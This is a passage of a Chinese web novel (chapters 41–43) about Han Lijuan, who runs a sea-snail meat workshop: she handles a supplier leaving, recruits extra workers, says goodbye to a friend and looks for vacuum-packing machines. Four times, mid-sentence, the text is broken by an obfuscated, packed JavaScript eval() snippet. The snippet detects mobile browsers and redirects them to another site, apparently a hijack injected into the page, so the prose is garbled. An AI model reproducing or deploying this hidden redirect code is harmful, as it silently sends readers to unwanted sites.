刘婶不觉得自己做得不对，但毕竟是认识半年多的人，娟子在她这赚过钱，她也在娟子那赚过钱，有些感情在，但再深的感情，深不过一年两万多块钱，将近三万块钱啊！ “你卖多少？”韩丽娟被刘婶说的价格惊到，8块5毛，就卖了！ “啊，是，是。”刘婶一个没注意，把自己的价格说出去了，说完也有些后悔。“我这也没经验，不知道卖多少钱，人家给多少，就算多少。” 她没告诉韩丽娟，她跟她儿子去找的那家店之前应该是跟娟子合作过，交谈中，她说她给韩丽娟供过货，对方一听，就说那他放心货的品质了，但之前韩丽娟卖给他们9块钱一斤，有些贵，如果刘婶这边价格能便宜一些，他们愿意从刘婶这里进货。 当时，刘婶跟儿子一合计，降了5毛钱，两方干净利索的定下来。 “婶子，你说你想自己干，我应该为你高兴的。”韩丽娟想了想，说。“但，你能不能在多给我两天时间，我好招人。” 她不能拦着刘婶赚钱，没有刘婶，也会有张叔黄大娘来瓜分市场。但刘婶通知的太突然，她这边搞不好会出问题的。 刘婶这边现在一天能给她提供30多斤不分级别的货，她现在是产量和销售基本持平的，偶有剩余冻货，也会很快清出去。突然少了30多斤，她供货就会不及时，客户那边没办法交代。 一天的时间，她怎么能招到足够的人呢，他需要刘婶给她一周，哪怕三天的时间。 现在已经是傍晚，她只有明天一天的时间。新来的手不熟，一个人一天最多三斤左右产品，她需要至少10个人。 “我这边先答应人家了。”刘婶回道。答应店面尽快供货，就不能再答应韩丽娟再多给她时间。 说到底，不过是店里给的更多，诱惑更大，而娟子这边，现在在她心里，多干一天都是赔。 在商言商，没有什么心软的！ “这两天我可以按照那边给你的价格收购。”韩丽娟试图商量。“刘婶，以后你也做这个，咱们俩完全可以合作，谁供应不上或者有剩余了，都可以帮衬着来。” 如果她招不到人，她就需要跟几个店里沟通，这几天每天减少一到两斤的供货，但那样她就欠下太多人情，她想，欠多个人不如欠一个人。 刘婶刚刚入行，产量稳定，但销量不一定稳定，现在市场什么样的货品，什么样的价格都有，今天她可以卖8块5，明天就有人8块钱顶替刘婶，毕竟小作坊，没有投入，全是利润，价格上太有优势了。 之前韩丽娟在县城有十多个客户，但这次改签年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170792|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度合同后，手里就剩下六个客户，其余的客户都被小作坊冲击，抢走了。 拉三五个人，每天生产十几斤，给一到两个差不多的饭店供货，一年对付一两万，对很多人来说，都是笔不错的买卖。 但本身波螺肉不是大众消费，不是每个店都卖这类产品，它的需求增加只增加在大中型饭店酒店以及专门店，韩丽娟可以预料到，低端市场，马上进入混乱期。她猜很多家庭作坊会迅速起来，也会迅速消失。 这也是韩丽娟见到竞争对手后，着急办厂的主要原因，提升自我，占据高端，抓住主要客户，不然她打不过别人的价格战，就会死。目前，她觉得自己这一步是没有问题的，她手里的剩下的这些县城客户都跟她签订了年订货量2000斤以上的大单。 她希望刘婶给她些时间，她记住这份人情，如果到时候刘婶遇到问题，她可以拉一把，以她的供货量，她完全可以通过控制生产，帮助刘婶立住脚跟。 “娟子，我这边也不好对人家出尔反尔的，你看，不然你跟你客户那边商量商量，先减少供货呢？”刘婶想了想，拒绝了。她不觉得未来需要韩丽娟的帮助。 相反，在知道波螺肉的真正价格后，她觉得她一直在帮韩丽娟赚钱，要知道，当初系海带扣她可没赚韩丽娟这么多。 而且，她一直给韩丽娟供货，韩丽娟的产品啥样她都知道，其实跟其他家没啥区别，说得高端，就是带个口罩，套袖和围裙就高端了？ 韩丽娟有的她都有，韩丽娟能帮她什么呢，只不过是说的好听。她如果不帮韩丽娟，完全可以明天就直接不给供货。 “行，刘婶，那我明天再来一次，咱们最后一天，保质保量，合作愉快，到时候我再给大家伙每个人发点奖金，算是感谢大家这段时间的合作。”既然强求不来，那她想别的办法吧。 “娟子，你放心，我这个小作坊，也不准备扩大，一天三十多斤，抢不到你的市场。”刘婶对韩丽娟说道。 韩丽娟笑笑。“婶子，未来竞争对手可能会很多，你这边能跟店里签个长期合同，就签长期的吧。”临走前，她还是提醒了刘婶一句，虽然买卖不成，但刘婶这里是韩丽娟来到滨海的第一份工作，她也对这里有感情。 “好好。”刘婶应道，也不知道是不是把韩丽娟的话听到心里。 离开刘婶这里，韩丽娟就开始合计解决办法。 30斤的缺口，就她目前的工人数量，把大家累吐血也不可能补足，需要招人。 幸亏刘婶这边她一直要的是不分等级的货品，要求较低，招来人，上手就能做，如果刘婶这边是优等货，三十多斤，她的天真的就塌了！ 首先短期内，先找尽可能多的兼职人员，明天他就去买桌椅，把第二车间的配置安排上。 “大家先停一下手里的活，我有点事情要说。”一人力短，发动大家，她相信，她能在一天之内增加三十斤产量！ 41. 第 41 章 已经到了下班时间，大家都在收尾手上的活。 韩丽娟这里五点半下班。到点就走，晚上七点打零工的开始入场。 韩丽娟很少给大家开会啊之类，突然这么正式，还让大家挺茫然。一时大家十分安静，都静静地看着韩丽娟，等着她把话说完。 “咱们接到一个大的订单，招人已经提上日程，目前计划招15人，大家都回去帮我找一找，咱们每招来一个人，奖励30元，前提是对方能干满一个月，奖金跟这个月工资一起，在月底发放。如果招来的人明天后天这两天内就能入职的，奖励翻三番，100元！”韩丽娟从不让人白忙活，她的危机需要别人帮忙化解，那她就用钱来办事。 “哗！”话音刚落，车间就跟烧开水一样沸腾起来，二十人的车间，整出了40人的音量，大家议论纷纷。 “厂长，那要是别的村的过来，中午回去吃饭，上班都不赶趟啊！”有个员工说。 她目前的员工都是本村的，午休一个半小时，回家连做饭带吃饭，还能躺十分八分的眯一会。 “对呀，这眼看着天也冷了。” “咱们这工资这么高，还在乎一顿午饭，家里给人送都合适。”有人觉得纠结午饭完全没必要。 “这好办，让他们带盒饭，咱们这最不缺的就是火，中午给热一下。”这不是问题，韩丽娟这里每天都煮波螺，而且马上烧锅炉，哪里不能热顿饭。 “那这也太急了，厂长，后天就来，那就是今晚回去让人明天辞职，那原本的厂子怕是不放啊。” “那你就少赚点，赚30呗。” “晚了人招满了，30也赚不到怎么办？”再说，能赚100谁要30啊，那可是100块钱啊！ 大家七嘴八舌的。 “还有就是之前很多人来打听晚上的零工增不增加人手，这里跟大家说一下，增加，大家帮着把消息散出去哈。” 之前韩丽娟想着动员大家的工作热情，但是没想厂子刚刚成立招工的时候非常顺利，十来天就招满二十人。而且韩丽娟给的工资高，大家工作起来很热情，根本不用韩丽娟动员，厂子刚刚起步，其他别的事情也多，所以，韩丽娟就放松下来，准备慢慢筹划，没想到一个措手不及。 刘婶这件事给她提醒，她能控制减少产量，但没办法快速增加产量，想要生产和销售完美的平衡，是不可能的。 二车间必须开，如果市里销量增加，三车间也要开起来。 “就是这个事，大家没事就下班吧。”把消息散布出去，韩丽娟还要去找别人。 “美凤姨，你这个月就下来帮我吧。”晚上，姜美凤刚刚下班，就被韩丽娟堵住。 原计划让姜美凤十一月底，十二月初过来，但韩丽娟不想等也等不及。她每天都要出去，厂里的人眼看着多了，趁着进新人，让美凤姨也来，能有些感情，不然这些人都混熟了，等美凤姨过来，不一定好管理。 姜美凤问了韩丽娟的情况，知道她这边需要人，就说明天去她们厂子请几天假，帮她干活，等这边稳定了，她回去辞职，不然怕这边辞职，单位在让她干几天，她不能立即过来帮助韩丽娟。 “你姨夫手笨，干不来精细活，不过体力活行，让他请两天假，帮你筛波螺。” “行。”韩丽娟没有拒绝姜美凤的好意。 “我也回来帮你吧，娟子。”孙慧知道后，也准备请两天假。 “好，这活你干起来吃力，能干多少是多少，千万别勉强。”多一个是一个，孙慧哪怕一天帮她出一斤的活，也算是帮了大忙。 第二天一早，她又去了久违的早市。 “大厂长来了！”花头巾老远看见韩丽娟就伸手打招呼。 “你看，不定又啥事呢。”紫头巾看的明白的，韩丽娟每次来早市，要么就是问问她们市场行情，要么就是看看有没有什么新鲜玩意，还有就是找她们干活。 总是离不开这几种可能。 “你看你，春天娟子找你干活，你没赚到钱啊。”花头巾现在对韩丽娟可是热情，采山苜楂那一个多月，她可多赚了一千多块钱呢，听紫头巾这话，她不高兴。 “我说啥了？”紫头巾眉头一皱。“我也没说啥呀。”她就是嘴想说，她心里可没啥坏心思，天地良心，她还巴不得韩丽娟找她们干活，给她们赚外快呢。 这个花头巾，现在真是里外不分了，以前可没少跟她蛐蛐韩丽娟，现在维护上了，连她都不能说。 要知道俩人没嫁人的时候就是好姐妹！ 唐文丽在一旁看着只想笑。她们三个现在在市场卖家里的苹果跟大枣，都凑在一起。 哎！紫头巾叹口气，算啦，就花头巾这脑袋，这辈子就这智商，她不跟她一样的。“娟子，来啦。”见韩丽娟走近，也热情招呼韩丽娟，顺手抓起一把大枣，塞给韩丽娟。 韩丽娟跟她们三个打过招呼后，心里猛地想起听过的一句话“三个臭皮匠”，想起春天她们三个一起围剿她，却被她收拾一通，谁想到，如今她需要人帮助，最先想到的竟然是找她们三个。 “两位婶子，唐姐，我这需要你们帮忙。”都很熟了，韩丽娟也不跟他们过多的寒暄。 “怎么了，娟子，是厂子出啥大事了吗？”唐文丽一听，急忙问道。 花头巾跟紫头巾也跟着紧张了一下，韩丽娟可是她们几个吹牛典范，她可不能出事啊！ “人手不够了。”韩丽娟说。 “啊？”这是事？花头巾一听，人手不够招人啊。 切，紫头巾心里翻个白眼，她刚刚真的跟着着急，以为出啥大事了。 “那你需要多少人手啊？”唐文丽听后，问。 “需要十多个人帮忙扒波螺肉，明天我就需要，我这边已经加急在招人，但是短期内招不满。”韩丽娟跟她们解释一下。 “就是想让我们帮你去扒几天波螺肉呗？”紫头巾大婶听明白了。 “对，而且还需要帮我再拉来几个人。拉来一个帮忙度过这段时间的，我给你们30块钱。而且我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175984|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边工资给的高，虽然中午不能管饭，但是可以带饭盒，事情忙完了，我还会给大家发个红包。”韩丽娟尽可能的表现诚意。 这三十斤的货品，她就是把利润都送出去，也要保证供货。 “哎呀，娟子你看你说的话，我们帮你找几个人，哪里需要你给钱的。”花头巾一听，急忙拒绝，干活要钱就好了，给人介绍个帮工还拿钱，让人笑话的。 唐文丽也点点头。 “没事，我跟别人也都是给的，不能只给别人，因为跟你们认识，不给你们。”韩丽娟让他们拿着，别有负担。 “这……”花头巾还要说啥，紫头巾打断她。“娟子说要给你就拿着呗，咱们现在合计合计，能找来几个人是正事，你帮娟子把这次难关过过去，多少30她都有了，在这纠结这些小来小去的事情。” 紫头巾现在越来越欣赏韩丽娟，当初那一架打对了，不然上哪认识去啊。 花头巾一听，也不纠结，开始盘算找谁，她还是很听紫头巾的。 唐姐这边想来想去，确保能来的，除了她，能有俩人，剩下还有一个人不是很确定。 两位大婶认识的人重叠，俩人一番讨论，能找来六七个，也是有一两个不是那么确定。 加上他们三个，确定的有十个人，韩丽娟松口气，厂里的员工在帮着找几个，美凤姨跟孙慧也回来帮忙，晚上打零工的也会增加一些。 差不多是够的，如果实在差一点，她就找最近销量比较低的店面沟通一下，暂时减少一周供货，但按照最近一周平均销量累计计入。 人员解决后，韩丽娟还要找唐姐商量一下进货的事情，因为她记得唐姐说过，她老公是养殖场的，本身唐姐也是赶海高手，刘婶的事情提醒了她很多，鸡蛋不能在一个篮子里，她不能只靠着郭大娘供货，这种没有任何纸面协议，完全靠个人诚信的买卖合作，说破裂就破裂。 包括去市里的货车司机，未来韩丽娟也准备多找两个，免得自己所有的客户信息，落入同一个人的手里。其实如果条件允许，该自己养司机的，但现在司机太贵，车也贵，韩丽娟没钱。 心急吃不了热豆腐，事情总要一件一件解决，趁着这次波螺的需求增加，新增的就让唐姐来供货。 从早市离开，韩丽娟要先回到厂里，昨天已经跟员工说过招工的事，得去看看有没有人，如果一个没有，她还要想想办法。 到了厂里，今天新增了3个人，但员工说，明天还会有人来，最起码还能有5个。 韩丽娟提着的心稍微放松了一下，但她还有很多事情要准备。 办公的桌椅板凳要赶紧去买，之前韩丽娟只准备一个车间的，趁着这次，韩丽娟准备增加两个车间的。 第二天，韩丽娟按时来到工厂，离着挺远，就见工厂门口站着许多人。 “诶，你看这个小姑娘，是不是就是你们早市之光？”有人转头整好看见韩丽娟，忙扯着旁边人问。 早市之光？ 这是什么称呼！ 42. 第 42 章 说话的人没注意自己的大嗓门，她还觉得老姊妹描述的挺对，这大眼睛，这小模样，第一眼就看出来了。 “哈哈哈……”人群中传出一阵爆笑，当然这笑是充满开心和善意的。 “唉呀妈呀，你这个大嗓门，你可小点声吧。”紫头巾被拽，用嫌弃的语气说道，但看俩人的表情跟肢体接触，关系应该不错。 “大家来的这么早？”韩丽娟有些吃惊，她粗粗看过人群，陌生人有个十多个。 她今天带着姜美凤过来，已经觉得来的挺早，却没料到有这么多人在等着了，早知道早来一会儿好了。 “家里也没啥事，就早点过来。” “你不是着急吗，快开门吧，咱们赶紧进去干活。” “厂长，这是我小姐妹，听说咱们长招人，就赶紧过来啦，怕晚了人招满挤不上，哈哈哈。” 人群各自说着自己的想法，让韩丽娟从前天晚上就觉得被压着的心，终于松快了。 “谢谢大家！” 她真诚的对大家说，没人能理解此时此刻她有多感谢这些人。 “快快快，我看看你这厂子一天能赚多少，你总说你这厂子工资高，我牛可是给你吹出去了，今天让我们都多赚点哈！”紫头巾看不得韩丽娟这个样子，话锋一转。 “好，大家快跟我进来。”韩丽娟看新来的都是一脸期待，当然不是期待她，而是期待工资，那她就赶紧带大家进去，熟悉熟悉环境，开工！ 员工找来的人加上韩丽娟找来的帮手，将二车间坐满。 新手，总要培训一下，姜美凤之前就在韩丽娟这里干过零工，知道活怎么干，韩丽娟就站在一边，看着姜美凤给大家耐心地讲解，她最后做补充。 因为今天的人手差不多够用，韩丽娟就没安排孙慧扒肉，而是让她做质检，检查分类及口盖是否都清理干净。 毕竟新手，总要犯一些错误的，而且人数多了，活多了，韩丽娟认为以后质检岗要设置成固定岗，分类错一两个没啥大问题，肉不干净，可是大问题。 “厂长，这二车间人都坐满了，还招人不？”有人过问韩丽娟，她都是跟家里亲戚都打过招呼，说厂子招人，结果这才第二天，二车间就满员，那她回去怎么跟亲戚说呢，而且还有三十块钱，这就赚不到了？ “招的，今天来的人有一部分就是过来帮着忙几天，等咱们正式的员工招上来，人家就不来了。”韩丽娟给员工们解释。 该领人来就领着过来，她这里需要人。 在员工和韩丽娟的共同努力下，供货危机解决，而且随着姜美凤的到来，韩丽娟身上的担子清了不少，至少出门的时候，不用特别急着赶回来。 她松了口气。结果，刚刚回到针织厂上班的孙慧，红着眼睛回来了。“我不干了！” “美凤姨没在，有人欺负你了？”韩丽娟看着她的眼睛，焦急的问。 孙慧摇头，没说具体原因。 “那怎么了？”韩丽娟接着问。“你快说呀，你跟我还有啥不能说的。” 看着孙慧这欲言又止的样子，可急死韩丽娟了。 “那你不能笑我。”孙慧嘟着嘴，窝窝囊囊的说了一句。 “我不能！”韩丽娟斩钉截铁，她怎么能笑她，孙慧要真被人欺负了，她得去帮着找回场子！ “哎呀，就是之前认识一个男的……”孙慧张开嘴。 “那个机器维修工？”韩丽娟嘴也是快，孙慧一说，她就想起来之前美凤姨提起来的事情，说完就后悔，赶紧捂住嘴。 “好哇！韩丽娟，你竟然知道！”本来蔫蔫的孙慧，听到韩丽娟的话，眼睛唰一下瞪起来“你是怎么知道的！” “那你不能生气！”韩丽娟说，攻守易势了。 “我不能！”孙慧也说的毫不犹豫。 “就是，之前有一天……”韩丽娟将自己怎么知道的，知道后怎么做的告诉孙慧。 “啊啊啊啊！”听完韩丽娟的解释，孙慧在地上转圈圈。“你们都知道，都知道，就我是个大傻子！”美凤姨知道，韩丽娟知道，黄雪娜知道，就她不知道。 今天去上班，看那个男的跟新来的另一个小姑娘聊的开心，不搭理她，黄雪娜过来安慰她，说话间也说起这男的过去就不是啥好鸟。 “你说好了不生气的，我知道以后，想着怎么跟你说，但我看你当时很开心，总不能泼凉水吧，就想着转移你的注意力，让你忙起来，谁知道你的注意力没转移，那男的转移注意力了。”韩丽娟没想到她这一招歪打正着，结果竟然出人意料的好。 “我没生你气。”她不生气，她就觉得自己好傻呀。 “因为他就不干了？”韩丽娟觉得这不对，孙慧这倔脾气，不像是灰溜溜走的那种人。 “也不是。”孙慧有些心虚。“我把他挠了！” 之前跟她搞得那么暧昧，结果转头就去勾搭别人，他以为他是谁，欠教训的家伙。挠完，爽了，然后觉得反正这针织厂待着也没劲的很，索性就辞职。 “哈哈哈……”韩丽娟一听，这才对，符合孙慧的性子。应该能想象到，那是个很热闹的场景。“你没受伤吧。”她问，反正从孙慧的外表，没看出来受伤。 “没有！你说不笑的。”孙慧过来捂住韩丽娟的嘴。 “好好好，我不笑，那你既然不干了，就来我这里，质检或者会计，你二选一。”韩丽娟开始为孙慧的未来打算。 孙慧没点头。“咋地，都不满意？”韩丽娟问。 “我想回去了。”孙慧说完，有些不敢看韩丽娟。“娟子，我当初稀里糊涂的过来，稀里糊涂的上班，其实过了最开始的新鲜期，我就想着回去了，但一开始想着工作是你让给我的，我不能没干两个月就走，那对不起你。后来找到点乐趣，你也知道了，自己成了乐子。其实我对针织厂的工作一点都不喜欢。” “不再留在滨海转转，找找别的机会，看看自己喜欢什么吗？”韩丽娟想过孙慧可能会回家，但她以为她能坚持的春节。她劝孙慧不是为了留下她陪着自己，而是滨海就是比老家机会多。 “我还真有喜欢的。”说道这里，孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181967|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慧情绪又提起来。“我能不能借你的电话，我想给我妈打个电话，我想让她跟我一起去盛城的服装批发市场，我想回去开个服装店。” 来这里大半年，她休息的时候做的最多的就是逛街，她喜欢漂亮衣服，每次买的衣服，大家都夸不错。 孙慧决定要走，就开始着手处理自己的家当，能留下给韩丽娟的都留给韩丽娟，私人衣物打包邮寄回家，唯一的问题，就是自行车。 当初花了三百多买的。 韩丽娟带着她去当初自己买二手自行车那个大哥摊位去卖车。 “80块。”大哥围着自行车转了三圈，恨不得拿放大镜仔细看，牌子的，九成新，挺干净，但80块。 “多少？”孙慧震惊，虽然知道车子会贬值，但这也太低了。“我当初花300多买的呢！” “你花一万那也变成二手的了，车子这玩意，买到手就降价一半。” “那就150.”孙慧说。 “这小姑娘真能开玩笑，150我都卖不出去，我收过来当花看啊！”二手车大哥自带一种别人不懂的幽默。 “大哥，我们在你这买过车，回头客。”韩丽娟看孙慧噘嘴，赶紧出声。“你再给提提价。” “再给提5块钱。”二手车大哥寻思一下，给涨了5块钱。 “别五块五块的拉价了，大哥，我之前就知道你是敞亮人，120，你看行不行。”来之前俩人商量过，这车怎么也得卖上100块啊。 “你们也让我赚点呀。”大哥听这个价格皱眉毛，一辆自行车，他收回来，再卖出去不一定是啥时候，如果只赚个三块两块的，那就是赔本赚吆喝呢。 “那115。”孙慧在一边接话。 卖车大哥笑了。 “咳。”韩丽娟抓了一下孙慧的胳膊。“大哥，你看我们有诚意吧，没用你拉扯，就降价了，你也给个真心价吧，这车真的挺好，你一百五六能卖出去的。” “看你们也挺实在，100块钱吧。”大哥说。 “108吧，要发，要发，大家都发，怎么样，大哥。”韩丽娟乘胜追击。 “行，收了。看你俩是小姑娘，也不容易。这要是个大老爷们，我可不跟他这么讲价。”大哥也是相中这辆自行车。 等自行车也卖掉，很快就到了孙慧跟她妈妈约好的时间，孙慧整理行李，踏上了返程的火车。 “娟子，我会给你打电话的，你很厉害，一定会在滨海站稳脚，越来越好的，加油哇。”火车走远，韩丽娟目送火车离开，耳旁还回想着孙慧的话。 “娟子，我研究了你给我的各月份销售额，发现一个问题。”送走孙慧，刚刚回到厂里，姜美凤就皱着眉头找到她。 “什么问题？”韩丽娟都来不及伤感，立马问道。 “你看哈，你说旺季还没来，那就说明，过去的几个月，是销售淡季和普通季节，现在我们的生产只是维持普通季节销售，那真正的旺季来临的时候，你靠什么提高产量？如果盲目增加车间，那淡季的时候，又要怎么办？” 43. 第 43 章 ！！！ 姜美凤的话，点醒韩丽娟，她一直觉得自己在为旺季做准备，但姜美凤刚刚的话，给她当头一棒。 如果说淡季客户的平均日需求量是每天3-5斤，那现在的需求是每天8-10斤，翻了两三倍。 旺季呢，旺季到底是多少，要翻几倍？ 韩丽娟没经历过，她不知道，之前跟客户们签合同的时候，倒是说过一嘴十二月底到年前是旺季，一是这时候正是吃波螺的季节，二是靠近年底，请客吃饭也变得多了起来，舍得花钱的消费者会多，她脑海里只是过了一下旺季，对自己说，到时候提高产量就好。 但她真的忽略旺季需求的具体数量。如果每个店每天只是增加1-2斤的销量，她还能想办法解决。但如果，按照现有的需求，翻了一番，她怎么处理！ “如果说销售旺季，各大饭店都增加订单，咱们如何应对？这跟我以前做衣服还不一样，服装厂着急走货，可以连着加班，到发货日子之前把衣服做完就好，但我们的工期是以天为单位，每天都要发货，今天员工连轴转了，明天就干不了活，明天的任务就完不成。”姜美凤怕韩丽娟没反应过来，接着说道。总不能因为完成某一天的订单，让大家全体加班到天亮，然后第二天累的都起不来，无法完成第二天的订单吧。 “我知道了，美凤姨，我想想怎么办。”韩丽娟现在心里乱糟糟的。 比刘婶说不帮她的时候还要乱。 就如同美凤姨说的那样，如果旺季的需求比照现在翻翻，那就是要最少四个车间，才能勉强完成每日任务。但淡季其实只有一个多车间的活，到时候，会有三个多月的时间，大家赚不到什么钱。 不管如何，三个车间必须开起来，明年夏季来临之前，她看看能不能找到别的产品加工。 但如果三个车间完不成任务怎么办？ 再找个小作坊承包出去？韩丽娟想了想，行不通。旺季不仅仅是自己是旺季，其他人也是，自己的活都做不过来，怎么会接她的单。 那就是自己这边提前赶工。 但还涉及的一个问题，那就是“鲜”。 这个鲜不是鲜活的意思，而是味道，十二月，海水彻底凉下来后，紫菜绿菜等藻类开始生长，这些海菜带有浓郁的“海鲜”味道，吃了这些藻类的波螺，自然也带了“鲜”味。 她们就算是提高产量，也是要等到海菜出来之后，才能提高。不然被客户知道，容易口碑塌陷。 但她如何让客户相信，她手里的货品，是进入“鲜味期”之后才存储的库存，而且，她也没有那么多的冷冻设施，来大批量存货。 可以让客户先行进货，但客户凭什么配合她，要搞一个什么活动，能带动他们进货的积极呢？ 还有，就是更改包装，尽可能锁“鲜”，再怎么说，冻的跟不冻的味道会有一点不同，她要做的是降低这种不同，让客户放心存货，但这里她没有头绪。 好多问题呀，韩丽娟在心里一条条的缕过来，叹口气。还是吃了没经验的亏，当初签合同，应该把日最高供货做一个限制，但后悔无用，经验都是累积出来的。 先把车间开到三个，然后寻找合适包装。等十一月底，开始搞大促活动，鼓励客户提前存货。 招工和车间的事情，定下来后，韩丽娟就把具体事务交给姜美凤，她主要是出去找用什么包装来装他们的产品。 她不局限于县里，去滨海市的各大商场，吃喝玩乐所有带包装的东西，她都去看。 终于，让韩丽娟发现一个特别的。 “这茶叶袋子怎么这样的？”韩丽娟拿起一包茶叶，袋子包裹的紧紧的，里面仿佛没有空气，晃动也无法听到里面茶叶撞击的声音。 “这是真空包装的。”售货员看见韩丽娟拿起的茶叶。“同志，你小心些晃动，这个袋子剧烈晃动后容易散开进气。” “真空？”韩丽娟仔细观察这个袋子，还别说，这个词还真贴切，可这是怎么包装上的呢！“这是用啥包装的呢？” 售货员笑了。“这当然是用机器，人是无法单独完成这样的包装。” “为啥这么包装？”韩丽娟问。 “这样包装的茶叶味道更浓郁，同志你可以买一袋回去尝尝。”当然，运输起来更节省空间。 听起来，这个包装也挺适合她的产品，她看了茶叶的厂商，是南方的，但想到滨海有各种机械厂，在滨海应该能找到厂家。 有了目标就更有干劲。韩丽娟买了一包真空茶叶，还挺贵，拿着回去了。 “美凤姨，我姨夫他们厂做什么的？”陈大有也是在机械制造厂上班，但厂里生产啥，韩丽娟还真没关注过。 “他们厂主要是做冷冻设备的。”姜美凤说。“怎么忽然问这个，你要找什么？” “能将包装做成真空的机器。”韩丽娟想了想，说道。这玩意应该叫啥，真空机？能叫真空机吗？ “等晚上回去，咱们找你姨夫问问，看他见没见过。”韩丽娟说的东西，姜美凤也没听过。 “真空机？”晚上，陈大有也摆弄这袋茶叶。“我还真见过产品包装的机器，但不是真空的。” 陈大有前一句让韩丽娟跟姜美凤眼睛一亮，后一句让俩人同时泄气。“说这没用的！”姜美凤白了陈大有一眼。“你明天去厂子给打听打听，主要是问问你们厂子那几个会画图的，什么工程师吧，问问人家，人家见过世面。” “行。”陈大有答应。“娟子，你这袋茶叶先给我拿着，我明天带着这个去帮你问问，但你别着急哈，人家在办公室，一两天下来一次，给我两天的时间。” “好，谢谢姨夫。”等陈大有消息这两天，韩丽娟可以去市里的机械厂转转。 顺便想想如何说服客户们。 一连三天，陈大有那里都没有消息，韩丽娟也四处碰壁，滨海说大不大，说小不小，市里的机械厂没有真空机相关的，她也进不去厂，都是问看门大爷。 看门大爷爷不懂什么“真空机”“假空机”的，反正他们厂子没有。 “打听到了，打听到了，娟子。” 这天，韩丽娟无功而返，沉闷的回到家，躺在炕上思索，难不成她真的要跑一趟南方，但时间来不及了，机器运输又不是运人，据说都不快。还是得想个别的办法，没有合适的保鲜包装，她没办法说服客户，就可能会因为旺季供货能力不行，丢失订单，丢失客户。韩丽娟正寻思着，却听到姜美凤兴奋的声音。 “还真叫真空机，咱们滨海有两家，但据说都不便宜，一台大好几千呢。而且，听说那个包装袋也很贵，还要用电，反正一套下来，一斤产品的成本会提高一两毛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186550|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “真的！”韩丽娟兴奋的坐起来。有投入就有成本，这在韩丽娟承受范围内，她不在乎。 “这有地址，这俩厂子也在城郊村里，明天让你姨夫带你过去，说是兄弟俩开的，据说主要是卖包装袋的，这回我可说错了，工程师不知道，还是一个曾经在那边打过工的工友知道的。”说起这个也是一波三折，姜美凤知道韩丽娟现在没时间和心情听这些没用的细节，略微带过。 “太好了，太好了。”这些天，终于有好消息。难怪市里找不到，原来没在市里。 万事具备，只欠东风，她，韩丽娟，定要说服客户，错峰存货！ 具体执行，她准备三步走。 第一步：进行春节前两月的日进货预统计，拿到各店高峰期需求。 第二步：推出新包装，并升级产品，进一步降低含水量，提高品质。 第三步：根据各门店需求，一对一制定年前销售高峰期提前存货优惠方案，精细到每一斤。 “哈哈哈，韩厂长，你这一步一步的，把大家都算计进来了。”市里，韩丽娟开厂以后新增加的客户，看到韩丽娟的优惠方案后，哈哈大笑。“前几天，你来说为了给大家更好供货，要统计高峰期日用量，合理安排生产，我就知道你这小丫头反应过来，高峰期可能要订单积压。” “杨经理，您这话我都没办法接了，这您知道我的合同有漏洞，还看着我跳坑，关键是现在还让我知道您知道。”杨经理是金店长的老上司，韩丽娟算是“关系户”，所以，俩人说话没那么多忌讳。 “这算什么，我当年刚刚工作的时候，捅的篓子，犯的错，哎呦，现在回想还要骂自己怎么那么蠢的地步。你这个算是小问题了，所谓的销售旺季，就是不管卖啥，都是旺的，波螺肉少了，就多卖点鱼虾，但凡跟你签合同没有指定货物供应不及时惩罚条款的，都没问题。”杨经理给韩丽娟传授经验。“客户之间，相处久了，你就会发现，大家也不都是完全要求对方按照合同办事，有时候，态度很重要，你看你，这件事你就做的很好，化被动为主动，还完全为客户着想，我算是理解小金当初那么推荐你的原因了。” “您快别夸我了，也就您把我当小辈，我这犯错您还觉得好。我没想太多，就是想着把货给大家供好，店面赚钱，我也赚钱，这是双赢的事情。”韩丽娟觉得这次问题在她自己，所以她要尽可能去减少犯错带来的不良影响。“那您这边是认同我的年前优惠方案了？” 